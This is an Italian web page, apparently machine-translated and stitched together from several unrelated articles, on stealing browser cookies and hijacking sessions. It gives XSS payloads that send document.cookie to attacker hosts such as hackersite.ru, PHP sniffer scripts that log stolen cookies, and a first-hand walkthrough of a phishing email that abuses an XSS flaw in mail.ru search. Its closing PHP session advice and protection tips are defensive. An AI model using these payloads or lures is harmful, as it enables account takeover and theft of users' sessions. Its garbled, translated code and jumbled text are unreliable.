Programmazione sicura in PHP. Furto di sessione. Metodi per rubare i cookie Ruba i cookie VKontakte

Il mio amico ha dimenticato la password di un sito. Tuttavia, in precedenza aveva selezionato la casella di controllo "Ricordami" nel browser Google Chrome durante l'accesso, il che gli ha permesso di accedere al sito con il suo account. Mi è stato chiesto se questo stato magico può essere trasferito su un altro computer. Sarebbe più corretto, ovviamente, modificare o ripristinare la password, ma il conoscente non potrebbe farlo per ragioni non legate al caso.

Come usare intercepter-ng per i manichini

Nonostante la varietà di scelta del software moderno, è difficile trovare programmi per l'hacking per Android migliori di intercepter ng. Il primo criterio che punta a favore di questo prodotto è la sua effettiva performance. La maggior parte degli sniffer proposti in rete sono solo un'imitazione che non svolge le funzioni dichiarate.

I successivi fattori positivi sono la versatilità dell'applicazione e la copertura di un vasto pubblico di utenti.

Assistenza informatica 939-29-71

Cominciamo con ordine. I cookie o "cookie" sono file di testo molto piccoli: segnalibri con informazioni.

Il server web invia queste informazioni al browser dell'utente. dove queste informazioni sono conservate fino a quando non sono richieste. Non del tutto chiaro. Bene. bene.

Cercherò di renderlo ancora più semplice. Vedere. ti sei registrato su qualsiasi sito.

Al momento della registrazione, vengono creati proprio questi "cookie".

Eccoli.

Cookie Cadger

Il programma ascolta il traffico sulla rete WiFi, intercetta i cookie e replica la sessione dell'utente nel browser, ripetendo le richieste con le sue credenziali. L'autore Matthew Sullivan ha presentato il programma il 30 settembre alla conferenza degli hacker di Derbycon. Proprio durante il discorso, Matthew Sullivan ha intercettato via WiFi una sessione non protetta con Google di uno dei partecipanti alla conferenza.

Come rubare i biscotti

Se, mentre sei nella pagina del sito, inserisci nella barra degli indirizzi del tuo browser Firefox o Opera il seguente testo: javascript:document.write(document.cookie); vedrai qualcosa del tipo: remixAdminsBar=0; remixGroupType=0; remixpass=********************; remixwall=0; remixInformazioni=0; remixMembersBar=0; descrizione remix=0; remixautobookmark=8; remixemail=*******; remixmid=23363; remixa=5; remix audio=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remix video=0; remixRecentNews=0; remixAlbumsBar=0 Attenzione! .

La guida completa allo scripting tra siti

XSS è un tipo di vulnerabilità software nativa delle applicazioni Web che consente a un utente malintenzionato di iniettare script lato client nelle pagine Web visualizzate da altri utenti Wikipedia ha la seguente definizione di XSS: "Il cross-site scripting (XSS) è un tipo di vulnerabilità del software nativo per le applicazioni Web (aggirando le restrizioni di sicurezza del browser), che consente a un utente malintenzionato di iniettare script lato client nelle pagine Web visualizzate da altri utenti.

Differenza tra cookie e sessioni

Non molto tempo fa ho scritto un articolo su come registrarsi e autorizzare gli utenti al sito.

". In questo articolo, analizzerò la differenza tra sessioni e cookie. per fare la tua scelta finale.

Biscotti. No, non si tratta di cookie, si tratta della tua sicurezza. Quindi vai sul tuo sito preferito "vkontakte" (o, ad esempio, guarda la posta) sul computer di qualcun altro, rifiuti l'opzione "salva password", guardi felicemente la posta e te ne vai. E non pensare al fatto che sotto il tuo nome ora puoi accedere a un social network o alla posta.

Non considero nemmeno la situazione di un programma che ricorda una password senza che tu la sappia. Questo è già un hack deliberato e probabilmente sospetterai che qualcosa del genere possa accadere e non andrai al tuo sito preferito su un computer del genere. Ma possiamo parlare di semplice curiosità umana: stavamo visitando amici, e poi una volta, e loro hanno l'opportunità di leggere la tua posta. Sei sicuro che rifiuteranno una simile opportunità? Non hai paura che succeda qualcosa? In ogni caso, metterò da parte i problemi di moralità e parlerò solo di come le informazioni vengono archiviate sul computer che ora puoi consentire in qualche sito senza chiedere una password.

come rubare i biscotti

E il nome di questa tecnologia è cookie.

Ed è qui che è iniziato tutto. Il protocollo http, su cui, infatti, si naviga nei siti (compreso questo) non implicava inizialmente la possibilità di mantenere una connessione. Cioè, in parole povere, invii una richiesta al sito, ottieni una risposta, viene visualizzata sullo schermo e quindi il server non ricorda nulla di te. Certo, questo va bene quando il sito è puramente informativo e non dovrebbe ricordare nulla di te, ma viviamo nell'era del Web 2.0 😉 Lo sviluppo naturale del protocollo sono le richieste POST e GET, quando invii dei dati, il server può scrivili nei dati del database, ma questo non è sufficiente.

Diamo un'occhiata a un esempio molto semplice. Forum. Quindi ti sei registrato, e c'è una registrazione sul forum che c'è un tale utente con una tale password e alcuni altri dati aggiuntivi. Ma ora vai al forum e accedi - inserisci la tua password. Da qualche parte dovrebbero esserci le informazioni che hai effettuato l'accesso. Sul server? Ovviamente no! È impossibile salvare le informazioni sul server che l'autorizzazione è stata fatta dal tuo computer - non sarà in grado di distinguerti da qualcun altro (anche il tuo indirizzo IP non ti identifica in modo univoco)! Pertanto, le informazioni sull'avvenuta autorizzazione devono essere archiviate sul tuo computer. Ecco a cosa servono i cookie, ecco per cosa sono stati creati.

Un cookie è un piccolo record sul tuo computer che memorizza informazioni sul sito che hai visitato. Dopo l'autorizzazione, viene creata una voce simile, dopo la quale puoi già girare per il forum e ti riconoscerà. Tuttavia, ciò avverrà già automaticamente - grazie alle informazioni memorizzate nel cookie - quindi fingere di essere l'amministratore principale del forum non funzionerà comunque bypassando la verifica della password.

Ora possiamo tornare da dove è iniziato questo articolo. Se hai effettuato l'accesso da qualche parte senza nemmeno salvare la password, può succedere che sia stata creata una voce sul computer che ora ti consente di inserire questa risorsa con il tuo nome senza autorizzazione. Tale voce stessa diventerà obsoleta dopo un po', ma puoi forzarne la cancellazione. Ogni browser lo fa in modo diverso, ti mostrerò come farlo nel mio Google Chrome preferito. Apertura delle opzioni

Vai alla scheda "avanzate" e trova il pulsante "mostra cookie".

Ora, ovviamente, puoi eliminare tutti i cookie, ma ciò può turbare il proprietario del computer. Pertanto, ad esempio, nel campo in alto puoi inserire il nome del sito che ti interessa

Quindi solo i cookie relativi a questo sito possono essere cancellati. Puoi provare il mio Inoltre, se accedi al mio forum e poi cancelli i cookie, le informazioni di autorizzazione verranno dimenticate. Provalo!

commenti alimentati da

1. Che cos'è XSS
Una vulnerabilità di tipo XSS consente di inserire codice javascript arbitrario nel corpo di una pagina. Un attacco XSS differisce dagli altri (ad es. SQL injection o PHP injection) in quanto agisce non sul server, ma sul client.

come rubare i biscotti

Con il suo aiuto, non puoi visualizzare tabelle di database, caricare una shell, ecc. L'uso più comune di XSS è quello di rubare i cookie.
Cookie (Cookie) - una piccola parte di dati creata da un server Web e archiviata sul computer dell'utente come file. Solitamente i cookie vengono utilizzati per memorizzare gli account e, nella maggior parte dei casi, contengono una password codificata, un login e un ID di sessione (anche se non sempre).
Gli XSS sono di due tipi, attivi e passivi.

XSS passivo richiedere alla vittima di partecipare direttamente, ad esempio, seguire un collegamento contenente codice javascript. Quando si utilizza questo tipo di XSS, non si può fare a meno di SI (Social Engineering)

XSS attivo non richiedono alcuna partecipazione da parte della vittima, deve solo andare alla pagina con XSS. Active XSS può essere, ad esempio, nei post del forum, nelle chat, nell'aggiunta di notizie, ecc.

2.Cerca XSS
In questo paragrafo, ti dirò come trovare xss

2.1 XSS passivo
Per trovare XSS passivo, basta sostituirlo nel modulo di input se lo script ha funzionato ed è apparso il messaggio "xss", allora la vulnerabilità è presente, se lo script non ha funzionato, puoi comunque provare ">, questa è probabilmente la vulnerabilità xss più comune. Se né l'uno né l'altro script hanno funzionato, molto probabilmente non c'è alcuna vulnerabilità.
Diamo un'occhiata a un esempio.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
Vedi il modulo "cerca"? metti lì "> e fai clic su "trova"
Una finestra con xss è volata fuori, il che significa che xss è presente (forse nel momento in cui leggerai questo articolo, questo xss sarà già stato corretto)

2.2 XSS attivo
Tali CSS possono trovarsi, ad esempio, nei campi del profilo, quando si aggiungono notizie nel nome della notizia e nella notizia stessa (meno spesso), nei messaggi su forum/chat/guestbook con html abilitato. Qui tutto è semplice, inseriamo lo script del sottoparagrafo precedente nei campi e se il messaggio viene visualizzato sullo schermo, allora la vulnerabilità è presente.
Considera xss nei tag BB sui forum.
puoi provare a inserire stupidamente codice javascript nel tag, in questo modo:
javascript:alert('xss')
Alcuni tag hanno parametri, ad esempio il tag ha parametri dynsrc e lowsrc, proviamo a sostituire il codice in questo modo:
http://www.site.ru/image.jpg dynsrc=javascript:alert('xss')
Se lo script ha funzionato, xss è

3.Utilizzare XSS per rubare i cookie
Ora il più delizioso
Per rubare i cookie, abbiamo bisogno di uno sniffer web, puoi installare una sorta di sniffer sul tuo hosting, oppure puoi utilizzare uno sniffer online, che ora è pieno.
Per rubare i cookie tramite XSS passivo, la vittima deve seguire un collegamento velenoso. Per rubare i cookie utilizzeremo invece un altro copione:
sostituiamo lo script nel collegamento e lasciamo che la vittima lo segua, vediamo il registro dello sniffer e ci rallegriamo.
Diamo un'occhiata a un esempio.
Prendiamo quell'XSS sul rambler del paragrafo precedente.
Incolla
">
nel modulo di ricerca, fai clic su "trova", guarda la barra degli indirizzi e vedi:

http://miss.rambler.ru/srch/?sort=0& … &words =">
Lanciamo questo link alla vittima e ci godiamo i cookie.
Vedendo un collegamento del genere, la vittima potrebbe sospettare qualcosa, quindi è consigliabile codificare
">
in URL Oppure usa servizi come http://tinyurl.com/
Passiamo all'XSS attivo, qui è tutto semplice, invece di alert() inseriamo img = new Image(); img.src = "sniffer image address"+document.cookie;

Ora abbiamo i biscotti. Ma cosa fare con loro? È semplice, devono essere sostituiti al posto dei propri. Il browser Opera ha un editor di cookie integrato (strumenti-> avanzato-> gestione dei cookie), c'è un plugin per firefox (non ricordo il nome, uso Google)
Per ora è tutto, forse l'articolo verrà integrato

Cos'è un biscotto?

Esiste un meccanismo che consente al server http di memorizzare alcune informazioni testuali sul computer dell'utente e quindi accedervi. Questa informazione è chiamata cookie. Ogni cookie, infatti, è una coppia: il nome del parametro e il suo valore. Ad ogni cookie è assegnato anche il dominio di appartenenza. Per motivi di sicurezza, in tutti i browser, il server http può accedere solo al proprio cookie di dominio. Inoltre, i cookie possono avere una data di scadenza, nel qual caso rimarranno memorizzati sul computer fino a tale data, anche se tutte le finestre del browser sono chiuse.


Perché i cookie sono importanti?

In tutti i sistemi multiutente, i cookie sono utilizzati per identificare l'utente. O meglio, la connessione attuale dell'utente con il servizio, la sessione dell'utente. Se qualcuno riconosce i tuoi cookie, può accedere per tuo conto. Perché al momento, pochissime risorse Internet controllano la modifica dell'indirizzo IP durante una sessione utente.


Come modificare o modificare i cookie?

Gli sviluppatori di browser non forniscono strumenti integrati per la modifica dei cookie. Ma puoi cavartela con un normale blocco note (blocco note).


Passaggio 1: crea un file di testo con testo

Editor del registro di Windows versione 5.00



@="C:\\IE_ext.htm"

Lo salviamo con il nome IE_ext.reg

Passaggio 2: utilizzando il file creato, aggiungi le modifiche al registro di Windows.

Passaggio 3: crea un file di testo con testo

< script language="javascript">
external.menuArguments.clipboardData.setData("Testo" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; percorso=/; dominio=testdomain.ru";
alert(external.menuArguments.document.cookie);


Salvalo come C:\IE_ext.htm

Passaggio 4: andiamo al sito Web di nostro interesse.

Passaggio 5: fare clic con il pulsante destro del mouse su uno spazio vuoto della pagina e selezionare la voce di menu "Lavorare con i cookie". Consenti l'accesso agli appunti. I tuoi cookie per questo sito verranno inseriti negli appunti. Puoi incollare il loro blocco note (blocco note) e vedere.


Passaggio 6: per modificare alcuni cookie, modificare il file C:\IE_ext.htm, sostituendolo nome di prova nel nome del cookie, valore di prova- sul suo significato, dominiotest.com- al dominio del sito web. Aggiungi più righe come questa se necessario. Per comodità di controllo, ho aggiunto l'output dei cookie correnti allo script prima e dopo la modifica: alert(external.menuArguments.document.cookie);

Passaggio 7: eseguire nuovamente il passaggio 5 e quindi aggiornare la pagina.

In conclusione: andremo su questa risorsa Internet con i cookie aggiornati.

Come rubare i cookie con JavaScript?

Se un utente malintenzionato è riuscito a trovare un modo per eseguire uno script JavaScript arbitrario sul computer della vittima, può leggere i cookie correnti molto facilmente. Esempio:


varstr=document.cookie;

Ma riuscirà a trasferirli sul suo sito, perché, come ho sottolineato in precedenza, uno script JavaScript non potrà accedere a un sito che si trova in un altro dominio senza ulteriore conferma? Si scopre che uno script JavaScript può caricare qualsiasi immagine situata su qualsiasi server http. Allo stesso tempo, trasferisci tutte le informazioni testuali nella richiesta di download a questa immagine. Esempio: http://hackersite.ru/xss.jpg?text_info Quindi se esegui questo codice:

varimg= nuova immagine();

img.src= "http://hackersite.ru/xss.jpg?"+ codifica URI(documento.cookie);


quindi i cookie saranno nella richiesta di scaricare la "foto" e "lasciare" all'attaccante.

Come gestire tali richieste per caricare una "foto"?

Un utente malintenzionato deve solo trovare un hosting con supporto php e inserire codice come questo:

$uid=urldecode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>

Quindi tutti i parametri di query per questo script verranno salvati nel file log.txt. Rimane solo nello script JavaScript descritto in precedenza da sostituire http://hackersite.ru/xss.jpg al percorso di questo script php.


Risultato

Ho mostrato solo il modo più semplice per sfruttare le vulnerabilità XSS. Ma dimostra che la presenza di almeno una di queste vulnerabilità su un sito Internet multiutente può consentire a un utente malintenzionato di utilizzare le sue risorse per tuo conto.

In cui è stato proposto di partecipare a un evento gratuito dedicato ai temi della sicurezza delle informazioni. Dato che l'evento si è svolto nella mia città, ho deciso che dovevo andarci senza fallo. La prima lezione è stata dedicata alle vulnerabilità di siti come XSS. Dopo la lezione, ho deciso che dovevo consolidare le conoscenze acquisite in condizioni reali. Ho scelto per me diversi siti che si riferiscono alla mia città e ho iniziato a cercare di inserire il mio copione in tutte le forme. Nella maggior parte dei casi, lo script è stato filtrato. Ma è successo che l'"avviso" ha funzionato e il mio messaggio è apparso. Ho segnalato la vulnerabilità rilevata agli amministratori e hanno risolto tutto rapidamente.

In uno di quei giorni, mentre controllavo la posta fresca su mail.ru, mi sono imbattuto in un modulo per cercare le lettere nella cassetta della posta. Occasionalmente ho usato questa ricerca per trovare qualcosa di cui avevo bisogno in una pila delle mie vecchie lettere. Bene, poiché negli ultimi due giorni ho inserito il mio "avviso" quasi ovunque potevo, la mia mano di riflesso ha raggiunto questo modulo di ricerca. Ho digitato il codice dello script e ho premuto Invio. Immagina la mia sorpresa quando ho visto un messaggio dolorosamente familiare sullo schermo...


Alla conferenza degli Open InfoSec Days, il relatore ha affermato che i programmatori sono piuttosto scettici riguardo a vulnerabilità di questo tipo, dicono, "allerta? Bene, e allora? Questo non è pericoloso". Se su altri siti mi accontentavo solo di questa finestra con il mio messaggio, allora in questo caso ho deciso di andare oltre e mostrare cosa potrebbe derivare da un simile "avviso".

Quindi, lo script funziona, il che significa che c'è una vulnerabilità. Pertanto, puoi provare a eseguire qualche altro script. Ad esempio, uno script che ci trasmette i cookie di un altro utente. Affinché lo script funzioni, dobbiamo forzare l'utente a eseguire il nostro script. Questo può essere fatto inviandogli una lettera con l'apposito link, dopo aver cliccato sulla quale verrà ricercata la casella di posta e verrà eseguito il codice di cui abbiamo bisogno.

Ci sono voluti del tempo e molta sperimentazione per capire i meccanismi della vulnerabilità. A volte la sceneggiatura funzionava, a volte veniva filtrata. Dopo qualche sforzo, empiricamente, si è riscontrato che lo script funziona al 100% solo se la ricerca delle lettere dà un risultato positivo. Cioè, quando un utente esegue una ricerca con il nostro script, è necessario che almeno una lettera nella sua casella di posta sia trovata in base ai parametri specificati. Non è difficile configurarlo.

if (isset($_GET["cookie"]))
{
$text = "Accetta nuovo cookie da ". $_SERVER["REMOTE_ADDR"] ." a ". date("l jS \of F Y h:i:s A");
$testo .= "\n".str_repeat("=", 22) . "\n" . $_GET["cookie"]."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $testo);
fclose($file);
}
?>

Inoltre, invece di un "avviso", abbiamo bisogno di uno script che trasferisca i cookie al nostro sniffer. Scriveremo questo script in un file separato e lo caricheremo nella nostra ricerca. Ho creato un file test.js con il codice necessario e l'ho caricato sull'hosting. Il codice dello script è questo:

Img=nuovaImmagine();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
funzione F() (
posizione="http://www.solife.ru";
}
setTimeout(F, 5000);

Cosa vorrei spiegare qui. Mettiamoci nei panni dell'attaccante. L'utente deve fare clic sul collegamento. Come farglielo fare? Puoi promettere montagne d'oro e per ottenerle devi seguire il nostro link al sito. Ma non credo che funzionerà. Le persone non sono più su questo (io stesso cancello costantemente tali lettere, senza nemmeno leggerle). Pertanto, giocheremo sulla pietà umana, poiché esiste ancora in natura. Vi chiederemo di votare sul sito per la salvezza degli animali sterminati. Per prima cosa, prenderemo i cookie, quindi reindirizzeremo l'utente al sito di votazione. Il timeout per il reindirizzamento è stato impostato a 5 secondi, altrimenti i cookie semplicemente non hanno avuto il tempo di essere trasmessi allo sniffer e l'utente è stato immediatamente trasferito al sito sugli animali. Invece di "alert" ho usato il seguente script:

Quando le sceneggiature furono finite, iniziai a scrivere una lettera. È venuto con il seguente contenuto:


Si è rivelato abbastanza cinicamente, ma ho cercato di avvicinare le condizioni al più realistico. Alla fine della lettera è stata aggiunta una riga con uno script, in modo che la nostra lettera venga trovata quando facciamo una ricerca. In modo che la linea non causi domande inutili, l'ho dipinta di bianco. Ho anche inserito uno spazio nella parola "http" in modo che la stringa non venga riconosciuta e convertita in un collegamento. In caso contrario, nonostante la riga dello script sia scritta in carattere bianco, il collegamento verrebbe evidenziato in blu al destinatario e non ne abbiamo bisogno. La ricerca intelligente troverà e riconoscerà comunque questa stringa, indipendentemente dagli spazi.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Per lo script, ho applicato la codifica URL in modo che nulla fosse filtrato. Ho anche aggiunto il parametro "q_folder=0" per la ricerca, in modo che la ricerca avvenga nella cartella Posta in arrivo.

La lettera è pronta, la spediamo. Ho usato la mia seconda casella di posta sullo stesso servizio del destinatario. Diamo un'occhiata a cosa è arrivato all'altra scatola.

Il testo del nostro script non è visibile poiché si fonde con lo sfondo. Facciamo clic sul collegamento e vediamo cosa succede. L'utente viene spostato nei risultati della ricerca per le e-mail dal parametro che abbiamo impostato. La nostra lettera che abbiamo inviato è visibile nei risultati della ricerca. In questo momento, il nostro script ha già funzionato e ha inviato i cookie dell'utente allo sniffer. Dopo 5 secondi (il tempo dipende dalle impostazioni dello script), l'utente viene reindirizzato al sito di votazione.

Controllo il mio file sniff.txt:

Dal momento che il mio obiettivo non è rubare le scatole di altre persone o accedervi, concluderò la storia qui. Ma in teoria, puoi sostituire i tuoi cookie con quelli di qualcun altro e accedere alla casella di posta di qualcun altro. In generale, se un attaccante dà fuoco al bersaglio, troverà un uso per le informazioni ricevute.

Vorrei ringraziare Sergey Belov (

  1. All'utente viene richiesto un nome utente e una password.
  2. Se l'autorizzazione ha esito positivo, viene creata una nuova sessione, con il valore "autorizzazione riuscita".
  3. All'utente viene assegnato un identificatore univoco (SID), che non può essere previsto in anticipo e, quindi, non può essere selezionato :).
  4. Il SID viene registrato o nei cookie del browser o trasmesso tramite la barra degli indirizzi del browser (se i cookie sono disabilitati).

A seguito di un'autorizzazione riuscita, lo script ottiene l'accesso ai valori delle variabili dall'array superglobale $_SESSION, in presenza del quale lo script fornisce l'accesso ad alcune risorse, ad esempio l'ingresso al pannello di amministrazione del sito.

Il problema è che se un utente malintenzionato in qualche modo apprende il SID di un altro utente, può sostituirlo nei suoi cookie, o nella barra degli indirizzi del browser ed entrare nel sito con i diritti di tale utente.

Commento

Alcuni anni fa si sono verificati diversi scandali in cui i sistemi di gestione remota dei conti bancari hanno generato un numero univoco (SID) semplicemente aggiungendo uno all'ultimo valore utilizzato. L'autorizzazione rapida ha comportato l'emissione di due valori SID, diciamo 40346 e 40348. La sostituzione del numero 40347 ha consentito l'accesso all'account di qualcun altro :).

Attualmente, il SID rappresenta una sequenza univoca di numeri e lettere che non è legata a un contatore. Ma come fa un utente malintenzionato a scoprire il SID di qualcun altro?

Ci sono due opzioni più comuni:

1. Ad esempio, lo ha mostrato lo stesso proprietario della sessione, lasciando inavvertitamente un link di questo tipo da qualche parte nel forum o nel libro degli ospiti.

http://forum.dklab.ru/?sid=

L'accesso a questo indirizzo concede automaticamente all'attaccante i diritti dell'utente a cui è assegnata la sessione con l'identificatore.
Naturalmente, la sessione utente viene distrutta se non c'è attività dopo un po'. E quindi l'attaccante dovrebbe sbrigarsi :). D'altra parte, la totale prevalenza dei ragni (ragni) consente di organizzare una ricerca automatica mirata di tali collegamenti.

2. Anche se la sessione non è esplicitamente specificata nella riga del browser, ma viene memorizzata nei Cookie. Un utente malintenzionato ha comunque la possibilità di impossessarsi dell'identificatore. Considera una piccola sceneggiatura del libro degli ospiti più semplice.



Testo:


Il contenuto del gestore addmsg.php è mostrato di seguito

if(!vuoto($_POST [ "testo" ]))
{
$linea = str_replace("/ ?
/s" , " " , $_POST [ "testo"]);
//scrivi nel database o nel file
}
altro
{
exit("Errore");
}
?>

Si noti che lo script omette chiaramente la chiamata alla funzione htmlspecialchars(), che converte i caratteri in >. Di conseguenza, un utente malintenzionato può inserire qualsiasi tag HTML e script JavaScript nel testo.

E cosa otteniamo? Una piccola svista (apparentemente mancava solo qualche htmlspecialchars() prima di visualizzare il messaggio al browser), che permette di caricare la pagina dell'attaccante in una nuova finestra, passandogli i valori dai cookie.
Per far fronte a vulnerabilità di questo tipo, è meglio fare i conti con metodi “sostenibili”, agendo sul principio del “tutto ciò che non è permesso è proibito”. Non nascondere il SID e sottoporre il testo a controlli in più fasi: la probabilità di creare errori in questo caso aumenta solo. Più affidabile in questo caso è il metodo di associazione del SID all'indirizzo IP dell'utente proprietario della sessione. Questo metodo è ampiamente utilizzato in molti forum noti, come phpBB.
Script di autorizzazione

Se ( login e password sono corretti)
{
$_SESSION ["autorizzato"] = vero;
$_SESSIONE [ "ip" ] = $_SERVER [ "INDIRIZZO_REMOTO"];
}
?>

Quindi lo script che concede l'accesso a una risorsa specifica potrebbe contenere il codice seguente

if (!vuoto($_SESSION [ "autorizzato" ]) &&
$_SESSION [ "ip" ] == $_SERVER [ "REMOTE_ADDR" ])
{
// L'accesso alla risorsa è aperto.
}
else die("Accesso negato.");
?>

Quelli. ora solo l'utente il cui indirizzo IP corrisponde all'indirizzo IP trasmesso al server durante l'autorizzazione può lavorare con questa sessione. Se un utente malintenzionato intercetta la sessione, ha un indirizzo IP diverso :) - quindi gli verrà negato l'accesso.

Questo metodo non è universale e ha anche dei punti deboli.

  1. Se l'utente e l'attaccante accedono a Internet tramite un server proxy comune, avranno un indirizzo IP comune (questo è tipico per le reti di università, fabbriche e altre grandi istituzioni), ad es. tutti possono rubare il SID di un vicino, almeno con i metodi sopra indicati.
  2. Se l'utente utilizza un modem e la connessione viene interrotta, dopo il ripristino della connessione, molto probabilmente gli verrà assegnato un indirizzo IP diverso. L'utente può essere spiacevolmente sorpreso se viene iscritto indiscriminatamente nei ranghi degli intrusi (pertanto, non vale la pena scrivere minacce e appelli alla coscienza nei sistemi di protezione - anche tali sistemi hanno errori). L'ultimo inconveniente si verifica nei forum, i cui visitatori hanno l'abitudine di spegnere Internet e lavorare offline quando digitano una risposta lunga. La pressione del pulsante "Rispondi" porta al fatto che tutte le informazioni digitate vanno perse, poiché a nessuno interessa salvare il testo digitato dall'attaccante :))).

Exit: (o meglio semi-exit) Controlla solo le prime 3 cifre dell'indirizzo IP per l'identità, il furto SID è ancora statisticamente improbabile, ma nella maggior parte dei casi questo ti consente di essere più gentile nel disconnettere la connessione, poiché di solito i provider sono allocati un intervallo unificato di indirizzi IP, in cui cambia solo l'ultima cifra.

Biscotti - informazioni sotto forma di file di testo, depositate sul computer dell'utente dal sito web. Contiene i dati di autenticazione (accesso/password, ID, numero di telefono, indirizzo della casella di posta), impostazioni utente, stato di accesso. Memorizzato nel profilo del browser.

Cookie hack è il furto (o "dirottamento") della sessione di un visitatore a una risorsa web. Le informazioni segrete diventano disponibili non solo per il mittente e il destinatario, ma anche per una terza parte, la persona che l'ha intercettata.

Strumenti e tecniche di hacking dei cookie

I ladri di computer, come i loro colleghi nella vita reale, oltre alle abilità, alla destrezza e alla conoscenza, ovviamente, hanno i propri strumenti: una sorta di arsenale di chiavi master e sonde. Conosciamo i trucchi più popolari degli hacker, che usano per pescare i cookie dagli abitanti di Internet.

Sniffer

Programmi speciali per il monitoraggio e l'analisi del traffico di rete. Il loro nome deriva dal verbo inglese "sniff" (sniff), perché. letteralmente "annusare" i pacchetti trasmessi tra i nodi.

Ma gli aggressori utilizzano uno sniffer per intercettare dati di sessione, messaggi e altre informazioni riservate. L'oggetto dei loro attacchi sono per lo più reti insicure, dove i cookie vengono inviati in una sessione HTTP aperta, cioè praticamente non sono crittografati. (Il Wi-Fi pubblico è il più vulnerabile.)

I seguenti metodi vengono utilizzati per iniettare uno sniffer nel canale Internet tra l'host dell'utente e il server Web:

  • "ascolto" di interfacce di rete (hub, switch);
  • diramazione e copia del traffico;
  • connessione all'interruzione del canale di rete;
  • analisi attraverso attacchi speciali che reindirizzano il traffico della vittima a uno sniffer (MAC-spoofing, IP-spoofing).

L'abbreviazione XSS sta per Cross Site Scripting. Viene utilizzato per attaccare i siti Web al fine di rubare i dati degli utenti.

Il modo in cui XSS funziona è il seguente:

  • un utente malintenzionato inietta codice dannoso (uno speciale script mascherato) in una pagina Web di un sito, forum o in un messaggio (ad esempio, quando si chatta su un social network);
  • la vittima entra in una pagina infetta e attiva il codice installato sul proprio PC (clicca, segue un link, ecc.);
  • a sua volta, il codice dannoso attivato "estrae" dal browser i dati riservati dell'utente (in particolare i cookie) e li invia al server web dell'attaccante.

Per "impiantare" un meccanismo XSS software, gli hacker utilizzano tutti i tipi di vulnerabilità nei server Web, nei servizi online e nei browser.

Tutte le vulnerabilità XSS sono divise in due tipi:

  • Passivo. L'attacco si ottiene interrogando uno specifico script di pagina web. Il codice dannoso può essere inserito in vari moduli su una pagina Web (ad esempio, in una barra di ricerca su un sito). Le più suscettibili all'XSS passivo sono le risorse che non filtrano i tag HTML quando arrivano i dati;
  • Attivo. Situato direttamente sul server. E vengono attivati ​​nel browser della vittima. Sono utilizzati attivamente dai truffatori in vari blog, chat e feed di notizie.

Gli hacker "camuffano" accuratamente i loro script XSS in modo che la vittima non sospetti nulla. Cambiano l'estensione del file, spacciano il codice come immagine, li motivano a seguire il link, li attirano con contenuti interessanti. Di conseguenza: un utente di PC che non ha affrontato la propria curiosità, con la propria mano (con un clic del mouse) invia cookie di sessione (con login e password!) All'autore dello script XSS: un criminale del computer.

Falsificazione dei cookie

Tutti i cookie vengono memorizzati e inviati al web server (da cui "provengono") senza alcuna modifica - nella loro forma originale - con gli stessi valori, stringhe e altri dati. La modifica intenzionale dei loro parametri è chiamata cookie spoofing. In altre parole, quando un cookie viene falsificato, l'attaccante è un pio desiderio. Ad esempio, quando si effettua un pagamento in un negozio online, l'importo del pagamento viene modificato nel cookie su un lato più piccolo, quindi c'è un "risparmio" sugli acquisti.

I cookie di sessione rubati su un social network dall'account di qualcun altro vengono “inseriti” in un'altra sessione e su un altro PC. Il proprietario dei cookie rubati ottiene pieno accesso all'account della vittima (corrispondenza, contenuto, impostazioni della pagina) fintanto che si trova sulla sua pagina.

I cookie di "modifica" vengono effettuati utilizzando:

  • funzioni "Gestisci cookie..." nel browser Opera;
  • componenti aggiuntivi Cookies Manager e Advanced Cookie Manager per FireFox;
  • Utilità IECookiesView (solo per Internet Explorer);
  • editor di testo come AkelPad, Blocco note o Blocco note di Windows.

Accesso fisico ai dati

Uno schema molto semplice per l'implementazione, consiste in diversi passaggi. Ma è efficace solo se il computer della vittima con una sessione aperta, ad esempio Vkontakte, viene lasciato incustodito (e per un periodo piuttosto lungo!):

  1. Una funzione javascript viene inserita nella barra degli indirizzi del browser, visualizzando tutti i cookie salvati.
  2. Dopo aver premuto "ENTER" compaiono tutti sulla pagina.
  3. I cookie vengono copiati, salvati in un file e quindi trasferiti su un'unità flash.
  4. Su un altro PC, i cookie vengono sostituiti in una nuova sessione.
  5. Viene aperto l'accesso all'account della vittima.

Di norma, gli hacker utilizzano gli strumenti di cui sopra (+ altri) sia in combinazione (poiché il livello di protezione su molte risorse web è piuttosto elevato) che separatamente (quando gli utenti sono eccessivamente ingenui).

XSS + sniffer

  1. Viene creato uno script XSS, che specifica l'indirizzo dello sniffer online (di propria produzione o di un servizio specifico).
  2. Il codice dannoso viene salvato con l'estensione .img (formato immagine).
  3. Quindi questo file viene caricato nella pagina del sito, nella chat o nel messaggio personale, dove verrà eseguito l'attacco.
  4. L'attenzione dell'utente è attirata dalla "trappola" creata (qui entra in gioco l'ingegneria sociale).
  5. Se la "trappola" funziona, i cookie del browser della vittima vengono intercettati dallo sniffer.
  6. Il cracker apre i registri dello sniffer ed estrae i biscotti rubati.
  7. Quindi esegue una sostituzione per ottenere i diritti del titolare dell'account utilizzando gli strumenti di cui sopra.

Protezione dei cookie dall'hacking

  1. Utilizzare una connessione crittografata (utilizzando protocolli e metodi di sicurezza appropriati).
  2. Non rispondere a link dubbi, immagini, offerte allettanti per conoscere il "nuovo software gratuito". Soprattutto da estranei.
  3. Utilizzare solo risorse Web affidabili.
  4. Termina una sessione autorizzata premendo il pulsante "Logout" (e non solo chiudere la scheda!). Soprattutto se l'account è stato registrato non da un personal computer, ma, ad esempio, da un PC in un Internet cafè.
  5. Non utilizzare la funzione "Salva password" del tuo browser. I dati di registrazione memorizzati aumentano a volte il rischio di furto. Non essere pigro, non risparmiare qualche minuto di tempo per inserire una password e accedere all'inizio di ogni sessione.
  6. Dopo aver navigato sul web - visitando social network, forum, chat, siti - cancella i cookie salvati e svuota la cache del browser.
  7. Aggiorna regolarmente browser e software antivirus.
